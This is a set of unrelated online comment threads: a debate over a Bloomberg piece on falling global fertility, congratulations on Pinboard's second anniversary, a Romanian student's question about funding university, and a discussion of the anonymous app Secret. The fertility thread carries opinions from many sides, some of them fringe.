The Global Fertility Crash - <AUTHOR> https://www.bloomberg.com/graphics/2019-global-fertility-crash <comment><USER3> I have mixed feelings about this: Julian Simon did a pretty good job of supporting the anti-malthusian thesis, and that more people implies more opportunities for creativity.

On the other hand he didn't disprove such a theory either -- we might have been just moving up a curve towards a critical point, where hysteresis then screws us.

But in general I'm pretty neutral: if people want more kids, great; if they don't, that's great too. So this sentence right at the front of the article really disturbs me:

> Population growth is vital for the world economy.

Most people seem to agree with this statement, which is the very definition of a pyramid scheme (see my point about hysteresis above). We've defined the goalposts such that this statement is in some sense tautologically true, but it leaves me with a profound sense of "so what?"

If fewer people are born, ultimately fewer houses will be needed, but why should that presume that less house construction will happen (perhaps there will be lots of renovations, or removal and new construction, or house builders will simply move to new fields as horsecart makers did).

We already know our growth metrics are crude and wrong, though we don't know really how much and in what ways. But there are plenty of potential scenarios where economic growth and human wellbeing does not require massive, or perhaps any population increase.

<comment><USER4> So if the population grows from 1 (in units of 8 billion, say) to (1 + A), and the productivity per person goes from 1 to (1 + B), then the world economy goes from 1 to (1 + A) * (1 + B). If the population _doesn 't_ grow, then the economy only grows to (1 + B).

As you say, _so what?_ Is the world economy some kind of deity, that we are here to serve its needs rather than our own? If each of us are the same (1 + B) better off, why do we care whether the global economy grew more or less?

As Edward Abbey said, "Growth for the sake of growth is the ideology of the cancer cell." If the growth actually leaves people better off, that's a positive. But if it just makes bigger numbers on a page, what's the point?

<comment> t-h-e-chief Exactly. This push for economic growth is a recent invention historically. Let's go back to not fucking over each other or the planet for money. We should aim for 2 billion world population in the next few centuries.

<comment><USER5> Recent? Genesis 9:7

<comment><USER6> If you want to quote the bible, then quote the bible. Not everyone can be bothered to look it up.

<comment><USER7> Amen

</comment></comment></comment></comment></comment></comment><comment><AUTHOR> This article is interesting, which is why I submitted it. However, I do think it ignores the elephant in the room which is that Earth only has finite resources. As discussed for example in the oft posted 'exponential economist vs finite physicist' post:

[https://news.ycombinator.com/item?id=20045380](https://news.ycombinator.com/item?id=20045380)

<comment><USER8> > However, I do think it ignores the elephant in the room which is that Earth > only has finite resources.

Are you sure about that? Without question, the Earth has a finite mass. But 'resource' in the sense you are using the term pertains to the various ways humans can utilize the various finite components comprising the Earth. And that may well indeed be infinite.

<comment><USER9> I'm absolutely certain that the Earth has space for a finite number of humans. I don't want to live in a pod and eat a protein slurry of crushed bugs. Note also that human population was more or less flat for a long time of our existence - explosive growth happened over the last 200 or so years. That has been long enough that we structured our economy around it, but it's coming to an end. The free lunch can't last forever. Quite similar to the end of Moore's law and for much the same reason - people don't want to be packed too close together and transistors can't really get much smaller. I see it as more of a return to a norm than some catastrophic event. With proper sustainable resource usage humanity, should last on Earth until the Sun kills us. Which is a sort of tautological statement if you think about it - if our resource usage is not sustainable, our population _will_ shrink eventually to the point where it is.

<comment><USER10> Do you know how much empty space there is in the western US? Not to mention the midwest? We're not remotely close to human population maximum density and this "pods and bugs" dystopia you envision.

<comment><USER11> >Do you know how much empty space there is in the western US? Not to mention the midwest?

Have you ever been to those places? There's a severe limit to the amount of freshwater available in those places, and the weather is pretty lousy in many parts. Not many people want to live in a place where the summer temperatures are over 110F, or where the winter temperatures are around -40.

There's lots of unused space on this planet, sure. Antarctica is the prime example of this: an entire _continent_ with almost no humans living there. Would _you_ like to live there?

And finally, and time humans build and live on land that's in a nice, temperate location, that means there's that much land that's now unavailable for agriculture. We can't grow food in Antarctica.

</comment></comment></comment></comment></comment><comment><USER12> It's a very temporary matter for evolution.

Our environment now includes birth control. Most people in the current population do not feature traits to overcome birth control. There is a subset of the population which does have the needed traits. This well-adapted subpopulation will grow rapidly because birth control is a very strong selection factor. From an evolutionary perspective, the correct use of birth control is equivalent to the death of offspring.

Remember that evolution is not inherently slow. It is usually slow because the existing population is typically well-adapted. A simple thought experiment demonstrates that evolution can be fast: we would all have blue eyes if the others were executed.

Given the severe selection caused by loss of offspring, evolution will rapidly overcome birth control. Just a few generations might mostly do the job. Within 500 years, birth control will simply not be a factor in human population.

<comment><USER13> So your claim is that evolution will make _any form_ of birth control impossible?

<comment><USER12> Birth control would go unused. People who crave huge families are going to win out over those who would rather not have huge families.

There probably will be some reproductive organ changes to sometimes defeat some forms of birth control, but mostly this will be brain changes. If people actually want birth control they can invent things faster than we can evolve past them, but if people just want kids then it doesn't matter how effective birth control might be.

Non-voluntary measures are possible, but again the evolutionary winners will be the ones who evade that. If the desire for kids is strong enough, people will bribe their way out of mandatory birth control.

<comment><USER14> I'm not sure that "craving huge families" is a genetic trait.

<comment><USER15> It could be cultural trait that survives from generation to generation.

I'm an example: I wanted a large amount of children, and taught my children the joys of a larger family. So far, they think along the same lines.

<comment><USER16> Nice! I'm the same, with a dozen kids so far.

I don't think one can determine if the trait is or isn't cultural by guessing. How could you possibly know the origin of your own mental preferences? Even political affiliation, which sure looks cultural at first glance, has been shown to be under genetic influence.

<comment><USER17> Some people with large families do so for religious reasons. (Not everyone, obviously.)

There is evidence that there are certain genes which promote religiosity. They don't guarantee it – somewhere out there, there is probably an atheist with lots of religiosity promoting genes, and a devout believer with none of them – but they do make religious belief more likely.

People who have large families for religious reasons will pass on both their religious beliefs to their children, and also in many cases their genetic predispositions to greater religiosity. Of course, there is no guarantee that the child will stay in the parent's religion, but so long as the retention rate is decent (say >= 70%) the religious belief (and the genetic predisposition to adopt it) will be spread widely through the population.

Even though organised religion isn't looking very healthy at the moment (at least in developed countries), this is reason to believe that its long-term prospects are actually quite bright.

</comment></comment></comment></comment></comment></comment></comment><comment><USER18> Global birth rates going below replacement level (as in Europe, but not in many other places in the world) would be the best news ever.

> While the world is expected to add more than 3 billion people by 2100, > according to the United Nations, that'll likely be the high point. Falling > fertility rates and aging populations will mean serious challenges that will > be felt more acutely in some places than others.

Right now, it is well beyond any sustainable level (CO2, habitat, pollution). More people, and more living at higher standards (and it would be inhumane). Sure, we can eat vegan, and have solar panels, but it is not enough (there is a huge baseline consumption and waste generation).

How? Higher education for women and easy (free, educated, socially approved) access to education, especially in poor countries.

Often I hear "oh, but in 1970s people were afraid that the current population would be too much, and you see - they were wrong!". Sadly, in the last 50 years, we wiped most animals. And brought the plastic mayhem.

Vide: [https://www.theguardian.com/environment/2018/oct/30/humanity...](https://www.theguardian.com/environment/2018/oct/30/humanity- wiped-out-animals-since-1970-major-report-finds)

</comment><comment><USER19> One of the points about demographics that's been really haunting me lately is the nonsubstitutableness of births. In other words births of human beings is not a commodity that you can "catch up on" in any generational sense. Generational cohorts are made in fixed time, and when made late will lag with an offset that can never be backfilled later on. We can only produce infants, never the 8 year old who was never born to fill the gap of missing 8 year olds from folks who couldn't be bothered or weren't ready to have children 8 years ago. Likewise for the absent 20 year olds and so on and so forth. We cannot correct after the fact to rebalance our population pyramids from being so top heavy.

There is a huge commitment either way, and that commitment/choice is irreversible. One commits to new life or for voids of life, both are not without consequence.

One other interesting thing to this is to watch the shifting median ages of populations.

> China's median age was 22 in 1980. By 2018, it was 40. That will rise to 46 > in 2030 and 56 in 2050. In the US, the median age was 30 in 1980 and 38 in > 2018. In 2030, it will be 40, and 44 in 2050. India, by comparison, had a > median age of 20 in 1980 and 28 in 2018. > [https://www.scmp.com/comment/insight- > opinion/asia/article/21...](https://www.scmp.com/comment/insight- > opinion/asia/article/2180421/worse-japan-how-chinas-looming-demographic- > crisis-will)

That's always been fascinating to me to think of an entire graying population and of all those civilizations of past eras who are no more. You can get a distinct taste of that gravity by thinking of an entire genetic pool shrinking in our lifetimes.

</comment><comment><USER20> > Population growth is vital for the world economy [...] Governments will have > to think creatively about ways to manage population, whether through state- > sponsored benefits [...]

I actually have the impression that we're with quite a few too many people, and while we can't really help that (you can hardly murder, like, everyone in both Americas to get population down by ~15%), I expect that a decreased growth would be super beneficial for everything from available resources to waste management.

Sure, fewer working people on an aging population reduces growth in the short term, but I can't see anything but benefits in the long term if we would have a few generations with an average number of children just below 2. (For those who are on the fence, like me, this reason can be a part of the decision not to have kids.)

The article doesn't mention a single country below 1, so while being close to 1 is on the edge, every regional average you can make seems high enough. In fact, the global average of 2.4 is still too high (but it will come down, as per UN predictions, until it's only just above the replacement rate around the year 2100).

<comment><USER21> I agree. It's vital if you've bought into the doctrine of infinite growth at all costs forever, but there is a limit. And if we were perhaps better at living sustainably, I'd be more supportive of having children. But either way, this Ponzi scheme has an end date, and I fear it's a lot closer than we'd like.

</comment></comment><comment><USER22> > At least two children per woman—that's what's _needed_ to ensure a stable > population from generation to generation. In the 1960s, the fertility rate > was five live births per woman. By 2017 it had fallen to 2.43, close to that > critical threshold.

(emphasis mine)

> Population growth is vital for the world economy.

Fuck the world economy, then. We're not going back to '60s.

<comment><USER23> >Fuck the world economy, then.

You like your pension? Because pensions need an ever-growing population.

<comment><USER24> The pension ponzi scheme has to end sometime. Whether the music stops when it's my turn, yours, or today's children it simply isn't possible to grow the number of people paying in forever.

<comment><USER25> Same with unending growth of suburbs. Paving the world and less people to pay for the pavement maintenance.

<comment> 1-6 Immigrants pay for all of it, pensions and civil engineering.

<comment><USER26> Not when there's no space for them to live in, or jobs to work. That's still far in the future though.

</comment></comment></comment></comment></comment></comment><comment><USER27> The "fertility crash" is only impacting the developed world.

As the article directly states, global population projections are set to grow by another 3 billion. I would call that a fertility explosion, not a crash, but most of that population growth will be happening in the undeveloped and developing world rather than the developed world.

<comment><USER19> think calculus for this one, growth continuing in the positive will mislead when that growth is losing steam. Watch the animation near x=1 [https://en.wikipedia.org/wiki/Second_derivative#Relation_to_...](https://en.wikipedia.org/wiki/Second_derivative#Relation_to_the_graph). The slope must decrease and reach flatline before it goes negative. It's all a matter of rates not absolute figures. Like a ball thrown up in the air, it goes up, and eventually reaches its peak, then begins its descent. We're nearing the peak population wise which is what a lot of these articles are getting at.

</comment></comment><comment><USER28> This article from bloomberg.com is perfectly absurd : High birth rates during the last fifty years have lead to overpopulation, politic instability, general poverty, global warming. And now, they complain that the birthrates are too low ? Seven billion and a half for world population and it is not enough ? Each day, 240 000 inhabitants more, is it too few ? The writer of this article should be admitted in a psychiatric hospital.

</comment><comment><USER29> It's _blindingly obvious_ that modernity is applying strong natural selection to humanity and that, over time, the world will come to be dominated by the kind of people who have children. In order for that not to be the case, you have to imagine a world without inheritance of characteristics. It's not even necessary to imagine genetic inheritance: even cultural transmission of fecundity from generation to generation would suffice for shifting the distribution of personality traits in the world's population away from whatever depresses birthrate below replacement and towards whatever promotes high birthrates. If you want to know what the world will look like in a few generations, look at who's having kids now.

The "lol seven billion is enough" comments completely miss the point. Fertility _will_ recover once inherited fecundity spreads through the population. One way or another, we're going to hit the Earth's (or solar system's) carrying capacity soon, probably in a few centuries at the longest. Do you want that future era to be full of people like you? If so, you need to figure out why people like you aren't reproducing now.

To imagine that fertility isn't heritable is to deny all of evolution. The drive to reproduce is the oldest and strongest urge of all. It's ubiquitous in the tree of life. It's really bizarre to me that people don't see this dynamic. Of course evolution applies to people: have you ever met a parent and a child?

<comment><USER30> Why would I care whether the future is full of people like me or not? Is there something inherently better about people like me, such that we should be reproducing instead of the people who currently are?

<comment><USER31> Evolution depends on the competitive aspect of genetic groups as a means of specification. You can say resisting specification is somehow a morally superior position, but really, it is just a sentimental one. Specification will happen regardless and merging will also happen. When there is enough competition for resources, usually only one species wins out. Being apathetic about becoming a dead branch in the tree of evolution is probably going to have that exact outcome.

</comment></comment></comment><comment><USER32> Lower birthrates are our best hope for lowering our population from above what the Earth can sustain without suffering and early deaths due to famine, war, disease, and so on.

There are large uncertainties over the planet's carrying capacity, but the numbers I find most believable say we're over it, which can work until we exhaust non-renewables and perhaps destroy some renewables.

I find the most compelling understanding still comes from the book _Limits to Growth_ and this 2014 research showing us tracking their business-as-usual model pretty well, 40 years later [https://sustainable.unimelb.edu.au/__data/assets/pdf_file/00...](https://sustainable.unimelb.edu.au/__data/assets/pdf_file/0005/2763500/MSSI- ResearchPaper-4_Turner_2014.pdf).

Steady state economics has worked. "Population growth is vital for the world economy" is a statement about a system approaching collapse.

Reading the book _Affluence Without Abundance_ I found of human societies enduring hundreds of thousands of years without growth. I've since learned of more. We don't know their level of happiness, but recent versions showed happiness and health greater than ours. In any case, they didn't collapse the entire planet's systems in a few hundreds years, so our systems don't stack very well -- a few generations of wealthy few and destitute many followed by collapse.

Thailand lowered its birth rate voluntarily and successfully [https://www.context.org/iclib/ic31/frazer](https://www.context.org/iclib/ic31/frazer).

Lower birth rate is our best hope.

<comment><USER33> _We don 't know their level of happiness, but recent versions showed happiness and health greater than ours. In any case, they didn't collapse the entire planet's systems in a few hundreds years, so our systems don't stack very well_

Prehistoric man may well have been happier than people today... while things were good. When food was plentiful, the weather nice and the living' was easy, it was all roses. Until your mate busted a leg ... and died. Until your kid gets a toothache ... and then dies. Until the rains don't fall, the herds go away... and your entire clan dies. They probably weren't so happy then.

This rose colored glasses view of the deep past ignores the extreme misery people endured to get to the good times. It is, IMO, just absurd.

Finally, the idea that prehistoric folk lived in harmony with nature is just silly. They routinely set huge wildfires to drive prey, they would chase entire herds off cliffs and then harvest a handful of animals. Yes they laughed, loved and wept tears of joy. But they also murdered, raped and wept tears of sorrow. And experienced the latter _far_ more often than anyone today. (For example, almost everyone who survived to adulthood wee half or more of their children die. And I would be very very surprised if each child's death was not felt as keenly as people do today).

<comment><USER34> > They routinely ...

Did all prehistoric folk do all the bad things you enumerate? Or did you cherry pick things from a multitude of regions and time periods which you personally believe to have been engaged in unethical and outrageous behavior based on your acceptance of the veracity of treatises written by western academics who have no reliable source of data about what prehistoric people were really doing or thinking?

Honestly I'm surprised and give you credit for not bringing up the old straws of cannibalism and human sacrifice by the alleged primitive savages. So, thanks.

But... on the topic of outrageous behavior, how do you feel about Mai Lai? Treblinka? The Donner Party? Obama's Predator Drone policy in Yemen?

<comment><USER35> I thought the point was that everybody was primitive savages. Academics do have a good deal of reliable data on how people lived and died. Bones can tell a lot.

</comment></comment></comment></comment><comment><USER36> Has anyone else noticed that there are simultaneously articles that talk about the dangers of not enough people to produce goods and also articles about the risk of AI/robotics being too efficient?

<comment><USER19> Why not both, geriatric robots are coming right around the corner just as we approach a frail old age with no strength of youth to change our bedpans and sheets. [https://www.reuters.com/article/us-japan-ageing-robots- wider...](https://www.reuters.com/article/us-japan-ageing-robots-widerimage- idUSKBN1H33AB)

<comment><USER26> Instead of the silly robots, why not exosuits. We're this close. Obvious conclusion of Internet of things combined with wearables. Cyborg grandparent is already a thing sometimes. Insulin pump? Why not. Other drug delivery systems? Easy. Mobility, again better than piggybacking a robot, think wheelchair on steroids. (Panasonic has the right idea but has not taken it far enough yet. HAL is smart. Both are way too expensive yet. Even good wheelchairs are quite expensive and we have trouble accommodating them - <USER2> deal exosuit walker would be easier.)

You can get old timers to care for themselves the most they can, you win in efficiency. The big one is mental decline. We can do little about it for now. Yes, the exosuit can talk to you and override if you do something dangerous. Maybe call for help.

Yes, I know people prefer to interact with people. Which is probably not easy to fake without a robot.

Finally, just remember that getting old people socialized would still likely be a job.

\--

By the way, the image of old people looking like astronauts is beyond funny.

<comment><USER19> Wow that is a really intriguing thought, pretty awesome idea to use those to extend agency with old folks in robot suits. Powerful, and funny too for sure.

</comment></comment></comment></comment><comment><USER37> I think less people sooner will help us lower greenhouse gas emissions. We need to support efforts to educate people and help with family planning. We should also encourage people to have less kids in an effort to stabilize our ecosystem.

Less population could lead to a lower GDP or it might not. If worker productivity and automation rise as population falls the GDP decline could be offset. This is something we need to consider especially when considering the initial statements of this article.

</comment><comment><USER38> It's not stated anywhere, but this treats GDP as the only metric anyone should bother to examine. I wish the world was so simple that we could boil down economic progress to a single metric, but people have been pointing out problems with that since the first attempts to measure national economies.

Sure, more people typically means global GDP will go up, but no one cares. What we ultimately want is for per-capita measures, like income or poverty rates, to improve.

</comment><comment><USER39> How is it a bad thing?

The only way to deal with climate crisis is to lower the population of the planet down to one billion. Possibly without wars and famines.

<comment><USER40> > How is it a bad thing?

Because it conflicts with the internal human desire to reproduce. You effectively are saying "Hey raise your hand if you want your group of people to die out." I'm not shocked that people aren't wild about that.

<comment><USER3> > the internal human desire to reproduce.

It's pretty clear throughout recorded history that this is not a universal desire. Huge numbers of people have not only chosen not to have kids, many of whom have consciously traded off the opportunity to reproduce in exchange for other opportunities.

<comment><USER27> It's a biological urge for many, which makes sense from an evolutionary standpoint. Sure some don't have it, and some control it, but that's clearly not the majority of our species otherwise we wouldn't be so ubiquitous.

<comment><USER41> The biological urge for sex rather than the urge for procreation may explain our ubiquity.

<comment><USER42> Especially considering birth control wasn't available until recently.

</comment></comment></comment></comment></comment></comment><comment><USER43> I just don't get it, there are so many examples where millions of more humans doesn't materially improve growth and a handful of people do.

Consider: when Cartwright invented the power loom, he undoubtedly created economic growth (more output) without the need for more humans. Ditto for millions of inventions happening every day from software automation to robotics.

Even more: another million uneducated humans doesn't provide anywhere near as much growth as 1000 highly educated humans. As simple proof, you need education to operate and maintain machines, let alone invent and improve them.

If anything, a fertility crash seems like a good thing because there's always resources that are limited and fewer people helps allocate them - from fresh water to brand new medicines/devices/techniques that haven't been commoditized yet.

</comment><comment><USER44> The marginal cost per child has increased dramatically. In developing economies an additional child can sometimes be an asset as they are free labor for a family farm or business. In a developed economy(specifically the USA) the cost per child is primarily driven by educational expenses. College education and also private high school and elementary education. Despite what people say it much more difficult to be successful without a college education. The options for obtaining a college education without your parents money and without student loans are slim. There are two possibilities; military academy/ ROTC program or athletic/academic scholarships. The ROTC military is the most likely one but not everyone is accepted. There are many medical disqualifying conditions such as ADHD ect. So if you are a college graduate and you want your children to have the same life opportunities that you did, then there is a limit to how many children you can have based on your income and net worth.

</comment><comment><USER45> I dunno man. I think 7 billion people might be enough.

</comment><comment><USER46> Population is sensitive to discuss politically. You don't see a lot of ideas that would help either. Here's a talk by Melinda Gates talking about how family planning can help Africa avoid deterioration due to overpopulation

[https://www.youtube.com/watch?v=2BOTS9GAjc4](https://www.youtube.com/watch?v=2BOTS9GAjc4)

</comment><comment><USER44> If you intend to send your child to college then the cost per child is very high. If you don't then the marginal cost per child is very low. Another consideration is whether the mother works and if it's possible for her to keep taking time from work every few years to have additional children. One thing I notice about large families is that they usually do not pay for their children's college education. TLDR - marginal cost per child increases in developed countries.

</comment><comment><USER47> > Population growth is vital for the world economy.

At most you could argue that population growth is useful for some of the world's economy.

But taking a larger view - ending population growth is vital for the world economy. Probably for human civilization.

Now, I'm not saying that the Earth's carrying capacity is 7.7 Billion people (or less). But in many respects we (= humans) are scratching the edges of that capacity with wasteful use of natural resources, pollution, and skewed distribution of products and services (e.g. of food - hundreds of Millions are hungry but the food produced could feed everyone several times over). So, we should work on that, and in the mean time, keep the population in check. When we've "fixed" human society enough, growth may or may not become relevant again.

> desperation is creeping into the search for ways to reverse the current > trends

It is the desperation of large capitalists who want to avoid the necessary transition into from permanent/exponential growth economies into other, sustainable economic models. It's like they want to extend a pier further out into the ocean because they're not willing to stop driving their car out onto it and consider going someplace else. And of course - a political class which lives on these people's donations.

One final point: It seems to me like the actual problem spots are countries with massive growth (e.g. Nigeria in the story) which may need to bring it down sooner than they would have, had they had it in the 19th century; and countries with significant sub-replacement numbers. In the rest of the world needs to adjust while the age pyramid changes.

</comment><comment><USER48> > _Population growth is vital for the world economy_

Is the world economy just a pyramid scheme?

</comment><comment><USER49> The other transition is the bulge in the elderly population. This seems to me to be the major economic issue in developed nations. In Australia at least, government spending on the aged is the number one expenditure at $70 billion, not including healthcare spending. That's about $18k per person over 65. The proportion of elderly will increase then plateau at about 1 in 4 over the next 50 years. I'm not sure the numbers add up... it probably only works with ongoing population growth which will have to come from immigration.

</comment><comment><USER50> >Population growth is vital for the world economy.

This is silly. As long as income per capita is good and people are happy does it matter if there are few less?

</comment><comment><USER51> Here is a curious, but really debatable view on our population, that I've read somewhere.

There are 60 billions people total, floating around and waiting for their turn to "manifest" and live. Such a life is very tiring, so humans need a lot of time to recharge: usually, 700-1200 years. Humans aren't created out of thin air or of proteins: bodies can be replicated quickly, but "creating" an actual human takes longer than the lifespan of an average solar system. With an average lifetime of 70 years, we can't have more than 10 billion "participants" living at the same time. We also can't just fix aging because even with a perfect body, life is very tiring.

</comment><comment><USER52> Immigration is definitely not the answer. What's the point of bringing in immigrants that will replace the previous population? Should Japan bring in millions of Europeans, which will change the culture and demographics, just to keep the arbitrary GDP number up? Why does it matter if the population decreases if we can keep the quality of life the same or higher?

<comment><USER53> As long as there are immigrants, there's an easily exploited working class.

<comment><USER47> I'll flip that one:

As long as the working class is dis-organized, and its members do not exhibit solidarity across ethnic and national lines, immigrants are bound to have poorer working conditions than locals, and capitalists are bound to try to artificially bring in more immigrants than would otherwise arrive.

Also, as long as there is not enough concerted effort to uplift the peoples of the more oppressed countries, to create stable, prosperous and self-sustaining economies in them rather than objects of mass exploitation - you will always feel threatened by the poor masses coming to take your job.

<comment><USER53> As long as economically prosperous countries and taking the best and brightest from overseas, those countries will never get better. We're simply functioning as a social-relief valve.

> As long as the working class is dis-organized

I think we'll see a resurgence of organization sometime soon.

</comment></comment></comment></comment><comment><USER54> All the anti-population growth popularity here would seem at odds with the HN population of outer space-expansionists.

Elon isn't going to have enough settlers.

Perhaps another Great Filter candidate.

<comment><USER55> True, population levels are no where near what is required to support cyberpunk living density, let alone multi-planet colonization.

Perhaps if reproduction levels really fall off and there is a real lack of families there will eventually be some kind of public, private, or religious industry centered around creating new babies in vivo or in vitro, along with a paid surrogate and child-raising infrastructure.

</comment></comment><comment><USER56> What a load of nonsense! The planet needs lesser people.

If economics is the problem, fix the damn econs, not the planet.

I'm not naive. I understand that the young will have to produce more per capita to support the masses of elderly. But the solution to this is not producing more kids. The solution is somewhere along the line of better economic distribution

</comment><comment><USER57> It's frankly shocking and disturbing how many people are celebrating the collapse in fertility worldwide. This should be a sign that something we're doing is very very wrong.

Plus population is expected to plateau around 9 billion so we're not actually being threatened by overpopulation anytime soon.

I can't help but be reminded of the movie Children of Men.

<comment><USER58> It's only a sign that we're doing something wrong if you assign a positive value to procreation. Many of us don't, either for ethical reasons (life includes suffering, and you have no right to inflict suffering on someone who didn't ask for it) or environmental reasons.

And as the logical conclusion of that ethical value system, I do sincerely hope we get a Children of Men scenario where we put an end to procreation entirely. (I'm aware that that viewpoint is fringe)

<comment><USER59> Having heard very few people espouse that opinion (which I share), I appreciate that you shared it. Somehow it seems very rare that parents consider their children's capacity for suffering before insisting that they exist without the chance to be asked if they actually want such an existence. Everyone just rolls the dice without truly knowing what they're getting into and assumes that "of course my kids will enjoy life, they're _mine_." It needs to change, in my opinion.

</comment></comment></comment><comment><USER60> Population growth is vital for colonization of Mars.

Earth will have to produce a lot of people to send to Mars in order to have the genetic diversity for self-sustaining populations on Mars.

The people on Mars will then have to produce a lot of people to live and work there to generate growth and produce generations of humans who maintain The Light of Consciousness on Mars past any sort of otherwise human-extinction cataclysm back on Earth.

This is also the only hope of eventually repopulating the Earth in this scenario.

<comment><USER60> Is this not true? or is there some flaw with this point? Why do people disagree?</comment></comment>


Two Years of Pinboard - <AUTHOR> http://blog.pinboard.in/2011/07/two_years_of_pinboard/

<comment><USER2> Sub $3 adopters represent wut-wut.

Srsly though, thanks maciej and team, love pinboard and use it e'erday. It's pretty much second nature to highlight, right-click, 'Post Page to Pinboard', fill some pithy tags, and feel instant dopamine flood of peace for some reason. Great when I have that one site on the tip of my cerebellum that I can just grep through pinboard for. Way to go on the 2 years and coming years of success.

<comment><USER3> Thank you!

<comment><USER4> Congrats on the success! A simple, elegant app that just gets shit done -- and with a revenue model.

Bit of a blast from the past here, but I want to thank you for some unintentional inspiration you gave me 6 years ago when Steve & I launched reddit. You see, I've always kept a "wall of negative reinforcement" (basically negative commentary that I print out and stick on the wall) that I find quite inspiring.

You deleted the post, but "Y Combinator's 2005 Summer Founders Program: A Complete Dud" was one of the things that always gave me a boost during some of reddit's darker days.

[http://web.archive.org/web/20050813233842/http://tech.rufy.c...](http://web.archive.org/web/20050813233842/http://tech.rufy.com/entry/80)

It may sound ridiculous, but I really do appreciate it. I've been fortunate to have had immensely supportive people in my life - namely my parents - yet I've always relished criticism & negative feedback (maybe it's from growing up with a girl's name?) as motivation to push myself harder to better both my work and myself. Thank you.

<comment><USER3> I think you may have me confused with someone else. I rolled my eyes at Reddit back when you launched (thinking it was yet another Delicious clone :-) ) but fortunately never put those sentiments in writing, so I didn't have anything to recant when I changed my mind a couple of years later.

The post you cite seems to be by some guy named Lucas?

<comment><USER4> Sorry! I fell down the rabbit hole of Internet surfing and totally botched the link - I'd found this entry from your delicious bookmark: [http://www.delicious.com/search?p=summer+flounders&chk=&...](http://www.delicious.com/search?p=summer+flounders&chk=&context=userposts|maciej|&fr=del_icio_us&lc=)

Back then I was actively monitoring the delicious bookmark for reddit.com and your note had made me chuckle.

</comment></comment></comment></comment></comment><comment><USER5> Pretty sure delicious was smaller than 27 million bookmarks just two years in.

Otoh, that was only 20-ish days of growth when I left yahoo...

<comment> johnx123-up Bookmarking concept was just evolved then.

<comment><USER6> Also, while the devs in the forums were really nice, it seemed like they couldn't just _do_ anything about feature requests or bugs and had to wait for some sort of lordly blessing.

With Maciej it's pretty much drop an email to the mailing list, and if the request is reasonable enough, BAM, it's there!

<comment><USER5> The forum happened a year or two after the acquisition by yahoo. If it was before the Big Rewrite, all changes were on hold until after the Big Rewrite. If it was after, most of the engineers on the backend were moved elsewhere, so nothing that required backend changes could ever be done.

It was more like the experience with inboard in the early days.

</comment></comment></comment></comment><comment><USER7> I really like maciej's writing style. Something about it that creates an instant feeling of rapport and sympathy.

</comment><comment><USER8> Sometimes when I feel blue about HN and what it has become, I refer to Dabblers and Blowhards for a little bit of levity. It was an essay before its time. Maciej is a fine writer and if I could recommend a single thing he's written it would be Scott and Scurvy (as much as I love Attacked By Thugs for comedic reasons).

</comment><comment><USER9> I thought Pinboard was just another bookmarking site, they are not. Their archival account is something that I've been looking for as an alternative to Evernote, which is ok, but it is getting slower and less stable as my archive gets bigger. Pinboard is promising, competition is good.

</comment><comment><USER10> _The fee is based on the formula (number of users_ $0.001), so the earlier you join, the less you pay.*

The current price is $9.37 which indicates 9370 users, yet this post says 12,500 active. But if the first customer was $2.04, is it $2.04 + u * 0.001? So meaning $9.37 reflects 7330 users? Sorry for picking through the math but I'm interested in stuff like this :-) Did a big group of users get in free during a certain period, etc?

It's a beautiful business model in a way. It doesn't suit people who want to trial it out but the social proof of 12,000 people already being through the doors makes the $9 more palatable to latecomers. I'm wondering if I could apply a similar model to my e-mail newsletters (which people keep saying I should charge for).

<comment><USER3> The multiplier has changed over time. It started out as a tenth of a penny and has been reduced several times, so you can't really math out without additional info. Not that it's stopped anyone.

<comment><USER10> Ah, cunning! :-) (Or, more likely, a necessity to stop the signup fee being $100 by now ;-)) Good work.

</comment></comment></comment><comment><USER11> I love Pinboard. The killer feature is Twitter integration. I do 99% of my Twitter browsing on my phone, and when I see a link that might be interesting, I just favorite it and Pinboard comes by and picks up those favorites for me to read later.

Very awesome service.

</comment><comment><USER12> Congratulations.

It would be useful if you wrote beside the current figures Tue percentage change on last year.

It also struck me that linking the price to a growth factor may end up overpricing your service leading to a halt in signups. Is this the case or not?

<comment><USER3> I avoid percentages because I think they can be a little silly when talking about small absolute numbers. I think we had just over 2k active users last year at this time, for what that's worth.

I am not worried about overpricing the site as long as I think the signup fee represents good value for new users.

</comment></comment><comment><USER13> Excellent product - been a happy customer for 6 months. The idea of increasing the price by a fraction per user is a good one - the more customers you have the more expensive it gets to run, but you also reward early adopters.

</comment><comment><USER14> Another happy customer here.

I wish more people would signup - since that would assure long term stability/security of my bookmark archive.

And GZ on your birthday Pinboard!

</comment><comment><USER15> DigitalOne seems to offer much more than I get with Linode. Anyone have experience with them?

<comment><USER3> Heh, yeah. You will certainly get a lot more than you do with Linode. Great host if you like adventure and hate to be bothered with status updates or receive credit in the event of an outage. Enjoy!

<comment> dorian-graph Who did you switch to after DigitalOne?</comment></comment></comment>


Jobs in College - <AUTHOR> Hi! I'm in my final year of high school and I want to study computer science at University. It's always been my dream to go to college and learn. I studied a lot in high school and I participated at many competitions, so I didn't think I would have troubles in going to university. However, now I've found out my parents can't pay for my tuition fees and living costs. Also, there are no loans I can take out (I'm not in the USA, but EU).
Is there any job I could take as a student in order to afford to go to University? I would love to work in a field related to computer science, but I'm not sure I could find something.
Thanks a lot, any advice would mean a lot to me! <comment><USER2> Which part of the EU are you based in?

There are multiple options available to people in your situation depending on your country of residence.

<comment><AUTHOR> Romania. Thanks for the response!</comment></comment>


With New Anonymous Social App Secret, the Merit Is in the Message - <AUTHOR> http://recode.net/2014/01/30/with-new-anonymous-social-app-secret-the-merit-is-in-the-message/

<comment><USER2> What could possibly go wrong...

Anonymity + Audience = [http://www.penny- arcade.com/comic/2004/03/19](http://www.penny-arcade.com/comic/2004/03/19)

<comment><USER3> Postsecret is a pretty good counter example.

<comment><USER4> Post-secret differs in a few important respects I think.

1) Its curated. There is someone to separate out the drivel. And because its curated and people know that, they're less likely to send in complete crap.

2) It relies on physical media. It takes some level of effort to make a card and send it in not to mention a small but non-zero cost. It also means that its not instantaneous like most things online.

3) There is no real feedback. There is no direct comment system, so theres no way to feed the trolls.

<comment><AUTHOR> Hi, I'm one of the founders. Secret also has some important aspects worth discussing:

1) It's curated. By your friends. The posts you see are things that your friends are sharing.

2) Conversations are all within your circle of friends. As a result, we don't see much real trolling at all. The communities that are forming have been remarkably interesting and kind.

3) The penny arcade example is also not entirely applicable here. Again, because it's within your circle of friends. The equation is different.

You're probably noticing a recurring theme: We believe that by scoping anonymous sharing to your friends, the content will be much more positive and helpful. So far, this has remained true, and we're inspired to see the good come out in people when they're given the privilege of anonymity.

<comment><USER3> Do you think that, because it is in a circle of 'friends' that there is some self filtering done before people post?

